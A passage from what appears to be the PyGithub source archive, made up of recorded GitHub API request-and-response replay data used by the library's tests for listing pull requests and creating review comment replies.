v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-02-09T09:38:54Z","pushed_at":"2020-02-09T09:38:52Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12495,"stargazers_count":3177,"watchers_count":3177,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1040,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":54,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1040,"open_issues":54,"watchers":3177,"default_branch":"master"},"network_count":1040,"subscribers_count":0} https GET api.github.com None /repos/rsn491/PyGithub/pulls {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 09 Feb 2020 10:55:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4955'), ('X-RateLimit-Reset', '1581246203'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, Accept-Encoding'), ('ETag', 'W/"58debf75745afdbf060e311364326085"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '4135:3CC0E:64613D3:786284A:5E3FE523')] [{"url":"https://api.github.com/repos/rsn491/PyGithub/pulls/1","id":370041455,"node_id":"MDExOlB1bGxSZXF1ZXN0MzcwMDQxNDU1","html_url":"https://github.com/rsn491/PyGithub/pull/1","diff_url":"https://github.com/rsn491/PyGithub/pull/1.diff","patch_url":"https://github.com/rsn491/PyGithub/pull/1.patch","issue_url":"https://api.github.com/repos/rsn491/PyGithub/issues/1","number":1,"state":"open","locked":false,"title":"Add support to reply to a Pull request comment","user":{"login":"rsn491","id":7198529,"node_id":"MDQ6VXNlcjcxOTg1Mjk=","avatar_url":"https://avatars1.githubusercontent.com/u/7198529?v=4","gravatar_id":"","url":"https://api.github.com/users/rsn491","html_url":"https://github.com/rsn491","followers_url":"https://api.github.com/users/rsn491/followers","following_url":"https://api.github.com/users/rsn491/following{/other_user}","gists_url":"https://api.github.com/users/rsn491/gists{/gist_id}","starred_url":"https://api.github.com/users/rsn491/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rsn491/subscriptions","organizations_url":"https://api.github.com/users/rsn491/orgs","repos_url":"https://api.github.com/users/rsn491/repos","events_url":"https://api.github.com/users/rsn491/events{/privacy}","received_events_url":"https://api.github.com/users/rsn491/received_events","type":"User","site_admin":false},"body":"","created_at":"2020-02-02T18:43:53Z","updated_at":"2020-02-09T10:54:56Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e628e03651c068242bcc1d674e47ee249b901338","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/rsn491/PyGithub/pulls/1/commits","review_comments_url":"https://api.github.com/repos/rsn491/PyGithub/pulls/1/comments","review_comment_url":"https://api.github.com/repos/rsn491/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rsn491/PyGithub/issues/1/comments","statuses_url":"https://api.github.com/repos/rsn491/PyGithub/statuses/a7c8a2142a33b026f51eecd3f5cba3694bd52f8b","head":{"label":"rsn491:ricardo-add-pr-create-comment-reply","ref":"ricardo-add-pr-create-comment-reply","sha":"a7c8a2142a33b026f51eecd3f5cba3694bd52f8b","user":{"login":"rsn491","id":7198529,"node_id":"MDQ6VXNlcjcxOTg1Mjk=","avatar_url":"https://avatars1.githubusercontent.com/u/7198529?v=4","gravatar_id":"","url":"https://api.github.com/users/rsn491","html_url":"https://github.com/rsn491","followers_url":"https://api.github.com/users/rsn491/followers","following_url":"https://api.github.com/users/rsn491/following{/other_user}","gists_url":"https://api.github.com/users/rsn491/gists{/gist_id}","starred_url":"https://api.github.com/users/rsn491/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rsn491/subscriptions","organizations_url":"https://api.github.com/users/rsn491/orgs","repos_url":"https://api.github.com/users/rsn491/repos","events_url":"https://api.github.com/users/rsn491/events{/privacy}","received_events_url":"https://api.github.com/users/rsn491/received_events","type":"User","site_admin":false},"repo":{"id":237809495,"node_id":"MDEwOlJlcG9zaXRvcnkyMzc4MDk0OTU=","name":"PyGithub","full_name":"rsn491/PyGithub","private":false,"owner":{"login":"rsn491","id":7198529,"node_id":"MDQ6VXNlcjcxOTg1Mjk=","avatar_url":"https://avatars1.githubusercontent.com/u/7198529?v=4","gravatar_id":"","url":"https://api.github.com/users/rsn491","html_url":"https://github.com/rsn491","followers_url":"https://api.github.com/users/rsn491/followers","following_url":"https://api.github.com/users/rsn491/following{/other_user}","gists_url":"https://api.github.com/users/rsn491/gists{/gist_id}","starred_url":"https://api.github.com/users/rsn491/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rsn491/subscriptions","organizations_url":"https://api.github.com/users/rsn491/orgs","repos_url":"https://api.github.com/users/rsn491/repos","events_url":"https://api.github.com/users/rsn491/events{/privacy}","received_events_url":"https://api.github.com/users/rsn491/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rsn491/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/rsn491/PyGithub","forks_url":"https://api.github.com/repos/rsn491/PyGithub/forks","keys_url":"https://api.github.com/repos/rsn491/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rsn491/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rsn491/PyGithub/teams","hooks_url":"https://api.github.com/repos/rsn491/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/rsn491/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/rsn491/PyGithub/events","assignees_url":"https://api.github.com/repos/rsn491/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/rsn491/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/rsn491/PyGithub/tags","blobs_url":"https://api.github.com/repos/rsn491/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rsn491/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rsn491/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/rsn491/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rsn491/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/rsn491/PyGithub/languages","stargazers_url":"https://api.github.com/repos/rsn491/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/rsn491/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/rsn491/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/rsn491/PyGithub/subscription","commits_url":"https://api.github.com/repos/rsn491/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/rsn491/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/rsn491/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/rsn491/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/rsn491/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/rsn491/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rsn491/PyGithub/merges","archive_url":"https://api.github.com/repos/rsn491/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rsn491/PyGithub/downloads","issues_url":"https://api.github.com/repos/rsn491/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/rsn491/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/rsn491/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/rsn491/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rsn491/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/rsn491/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/rsn491/PyGithub/deployments","created_at":"2020-02-02T17:37:53Z","updated_at":"2020-02-02T17:37:55Z","pushed_at":"2020-02-03T18:51:24Z","git_url":"git://github.com/rsn491/PyGithub.git","ssh_url":"git@github.com:rsn491/PyGithub.git","clone_url":"https://github.com/rsn491/PyGithub.git","svn_url":"https://github.com/rsn491/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12439,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"base":{"label":"rsn491:master","ref":"master","sha":"2af3e60d1b2475219c47ee7463dd1e76dad93010","user":{"login":"rsn491","id":7198529,"node_id":"MDQ6VXNlcjcxOTg1Mjk=","avatar_url":"https://avatars1.githubusercontent.com/u/7198529?v=4","gravatar_id":"","url":"https://api.github.com/users/rsn491","html_url":"https://github.com/rsn491","followers_url":"https://api.github.com/users/rsn491/followers","following_url":"https://api.github.com/users/rsn491/following{/other_user}","gists_url":"https://api.github.com/users/rsn491/gists{/gist_id}","starred_url":"https://api.github.com/users/rsn491/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rsn491/subscriptions","organizations_url":"https://api.github.com/users/rsn491/orgs","repos_url":"https://api.github.com/users/rsn491/repos","events_url":"https://api.github.com/users/rsn491/events{/privacy}","received_events_url":"https://api.github.com/users/rsn491/received_events","type":"User","site_admin":false},"repo":{"id":237809495,"node_id":"MDEwOlJlcG9zaXRvcnkyMzc4MDk0OTU=","name":"PyGithub","full_name":"rsn491/PyGithub","private":false,"owner":{"login":"rsn491","id":7198529,"node_id":"MDQ6VXNlcjcxOTg1Mjk=","avatar_url":"https://avatars1.githubusercontent.com/u/7198529?v=4","gravatar_id":"","url":"https://api.github.com/users/rsn491","html_url":"https://github.com/rsn491","followers_url":"https://api.github.com/users/rsn491/followers","following_url":"https://api.github.com/users/rsn491/following{/other_user}","gists_url":"https://api.github.com/users/rsn491/gists{/gist_id}","starred_url":"https://api.github.com/users/rsn491/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rsn491/subscriptions","organizations_url":"https://api.github.com/users/rsn491/orgs","repos_url":"https://api.github.com/users/rsn491/repos","events_url":"https://api.github.com/users/rsn491/events{/privacy}","received_events_url":"https://api.github.com/users/rsn491/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rsn491/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/rsn491/PyGithub","forks_url":"https://api.github.com/repos/rsn491/PyGithub/forks","keys_url":"https://api.github.com/repos/rsn491/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rsn491/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rsn491/PyGithub/teams","hooks_url":"https://api.github.com/repos/rsn491/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/rsn491/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/rsn491/PyGithub/events","assignees_url":"https://api.github.com/repos/rsn491/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/rsn491/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/rsn491/PyGithub/tags","blobs_url":"https://api.github.com/repos/rsn491/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rsn491/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rsn491/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/rsn491/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rsn491/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/rsn491/PyGithub/languages","stargazers_url":"https://api.github.com/repos/rsn491/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/rsn491/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/rsn491/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/rsn491/PyGithub/subscription","commits_url":"https://api.github.com/repos/rsn491/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/rsn491/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/rsn491/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/rsn491/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/rsn491/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/rsn491/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rsn491/PyGithub/merges","archive_url":"https://api.github.com/repos/rsn491/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rsn491/PyGithub/downloads","issues_url":"https://api.github.com/repos/rsn491/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/rsn491/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/rsn491/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/rsn491/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rsn491/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/rsn491/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/rsn491/PyGithub/deployments","created_at":"2020-02-02T17:37:53Z","updated_at":"2020-02-02T17:37:55Z","pushed_at":"2020-02-03T18:51:24Z","git_url":"git://github.com/rsn491/PyGithub.git","ssh_url":"git@github.com:rsn491/PyGithub.git","clone_url":"https://github.com/rsn491/PyGithub.git","svn_url":"https://github.com/rsn491/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12439,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rsn491/PyGithub/pulls/1"},"html":{"href":"https://github.com/rsn491/PyGithub/pull/1"},"issue":{"href":"https://api.github.com/repos/rsn491/PyGithub/issues/1"},"comments":{"href":"https://api.github.com/repos/rsn491/PyGithub/issues/1/comments"},"review_comments":{"href":"https://api.github.com/repos/rsn491/PyGithub/pulls/1/comments"},"review_comment":{"href":"https://api.github.com/repos/rsn491/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rsn491/PyGithub/pulls/1/commits"},"statuses":{"href":"https://api.github.com/repos/rsn491/PyGithub/statuses/a7c8a2142a33b026f51eecd3f5cba3694bd52f8b"}},"author_association":"OWNER"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1375.testCreateReviewCommentReply.txt0000644000175100001660000001756714756101563027367 0ustar00runnerdockerhttps POST api.github.com None /repos/rsn491/PyGithub/pulls/1/comments/373866377/replies {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"body": "Comment reply created by PyGithub"} 201 [('Date', 'Sun, 09 Feb 2020 10:55:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2428'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4954'), ('X-RateLimit-Reset', '1581246203'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, Accept-Encoding'), ('ETag', '"79d219bd6e6270c667266594e56b1d64"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/rsn491/PyGithub/pulls/comments/376773699'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '4156:18A71:635B55D:776AD00:5E3FE523')] {"url":"https://api.github.com/repos/rsn491/PyGithub/pulls/comments/376773699","pull_request_review_id":355598622,"id":376773699,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM3Njc3MzY5OQ==","diff_hunk":"@@ -402,6 +402,24 @@ def create_review_comment(self, body, commit_id, path, position):\n self._requester, headers, data, completed=True\n )\n \n+ def create_review_comment_reply(self, comment_id, body):\n+ \"\"\"\n+ :calls: `POST /repos/:owner/:repo/pulls/:pull_number/comments/:comment_id/replies `_\n+ :param body: string\n+ :rtype: :class:`github.PullRequestComment.PullRequestComment`\n+ \"\"\"\n+ assert isinstance(comment_id, int), comment_id","path":"github/PullRequest.py","position":11,"original_position":10,"commit_id":"a7c8a2142a33b026f51eecd3f5cba3694bd52f8b","original_commit_id":"36b1e39275a2cc163896144ce49efd4512634a85","user":{"login":"rsn491","id":7198529,"node_id":"MDQ6VXNlcjcxOTg1Mjk=","avatar_url":"https://avatars1.githubusercontent.com/u/7198529?v=4","gravatar_id":"","url":"https://api.github.com/users/rsn491","html_url":"https://github.com/rsn491","followers_url":"https://api.github.com/users/rsn491/followers","following_url":"https://api.github.com/users/rsn491/following{/other_user}","gists_url":"https://api.github.com/users/rsn491/gists{/gist_id}","starred_url":"https://api.github.com/users/rsn491/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rsn491/subscriptions","organizations_url":"https://api.github.com/users/rsn491/orgs","repos_url":"https://api.github.com/users/rsn491/repos","events_url":"https://api.github.com/users/rsn491/events{/privacy}","received_events_url":"https://api.github.com/users/rsn491/received_events","type":"User","site_admin":false},"body":"Comment reply created by PyGithub","created_at":"2020-02-09T10:55:32Z","updated_at":"2020-02-09T10:55:32Z","html_url":"https://github.com/rsn491/PyGithub/pull/1#discussion_r376773699","pull_request_url":"https://api.github.com/repos/rsn491/PyGithub/pulls/1","author_association":"OWNER","_links":{"self":{"href":"https://api.github.com/repos/rsn491/PyGithub/pulls/comments/376773699"},"html":{"href":"https://github.com/rsn491/PyGithub/pull/1#discussion_r376773699"},"pull_request":{"href":"https://api.github.com/repos/rsn491/PyGithub/pulls/1"}},"in_reply_to_id":373866377} https POST api.github.com None /repos/rsn491/PyGithub/pulls/1/comments/376773699/replies {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"body": "Second comment reply created by PyGithub"} 201 [('Date', 'Sun, 09 Feb 2020 10:55:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2435'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4953'), ('X-RateLimit-Reset', '1581246203'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, Accept-Encoding'), ('ETag', '"07c32e94aeb2492b4a189d13ee7db848"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/rsn491/PyGithub/pulls/comments/376773701'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '4153:31293:64191CF:7898943:5E3FE524')] {"url":"https://api.github.com/repos/rsn491/PyGithub/pulls/comments/376773701","pull_request_review_id":355598624,"id":376773701,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM3Njc3MzcwMQ==","diff_hunk":"@@ -402,6 +402,24 @@ def create_review_comment(self, body, commit_id, path, position):\n self._requester, headers, data, completed=True\n )\n \n+ def create_review_comment_reply(self, comment_id, body):\n+ \"\"\"\n+ :calls: `POST /repos/:owner/:repo/pulls/:pull_number/comments/:comment_id/replies `_\n+ :param body: string\n+ :rtype: :class:`github.PullRequestComment.PullRequestComment`\n+ \"\"\"\n+ assert isinstance(comment_id, int), comment_id","path":"github/PullRequest.py","position":11,"original_position":10,"commit_id":"a7c8a2142a33b026f51eecd3f5cba3694bd52f8b","original_commit_id":"36b1e39275a2cc163896144ce49efd4512634a85","user":{"login":"rsn491","id":7198529,"node_id":"MDQ6VXNlcjcxOTg1Mjk=","avatar_url":"https://avatars1.githubusercontent.com/u/7198529?v=4","gravatar_id":"","url":"https://api.github.com/users/rsn491","html_url":"https://github.com/rsn491","followers_url":"https://api.github.com/users/rsn491/followers","following_url":"https://api.github.com/users/rsn491/following{/other_user}","gists_url":"https://api.github.com/users/rsn491/gists{/gist_id}","starred_url":"https://api.github.com/users/rsn491/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rsn491/subscriptions","organizations_url":"https://api.github.com/users/rsn491/orgs","repos_url":"https://api.github.com/users/rsn491/repos","events_url":"https://api.github.com/users/rsn491/events{/privacy}","received_events_url":"https://api.github.com/users/rsn491/received_events","type":"User","site_admin":false},"body":"Second comment reply created by PyGithub","created_at":"2020-02-09T10:55:32Z","updated_at":"2020-02-09T10:55:32Z","html_url":"https://github.com/rsn491/PyGithub/pull/1#discussion_r376773701","pull_request_url":"https://api.github.com/repos/rsn491/PyGithub/pulls/1","author_association":"OWNER","_links":{"self":{"href":"https://api.github.com/repos/rsn491/PyGithub/pulls/comments/376773701"},"html":{"href":"https://github.com/rsn491/PyGithub/pull/1#discussion_r376773701"},"pull_request":{"href":"https://api.github.com/repos/rsn491/PyGithub/pulls/1"}},"in_reply_to_id":373866377} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1682.setUp.txt0000644000175100001660000001741314756101563022632 0ustar00runnerdockerhttps GET api.github.com None /repos/ReDASers/Phishing-Detection {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3f57c3bc8bc24a574b14be5562a6807a14b95ece2301de951d8234cacea234ed"'), ('Last-Modified', 'Sat, 10 Oct 2020 08:06:04 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4909'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '91'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14D:4B2E:23C90:6072E:5F987C9E')] {"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 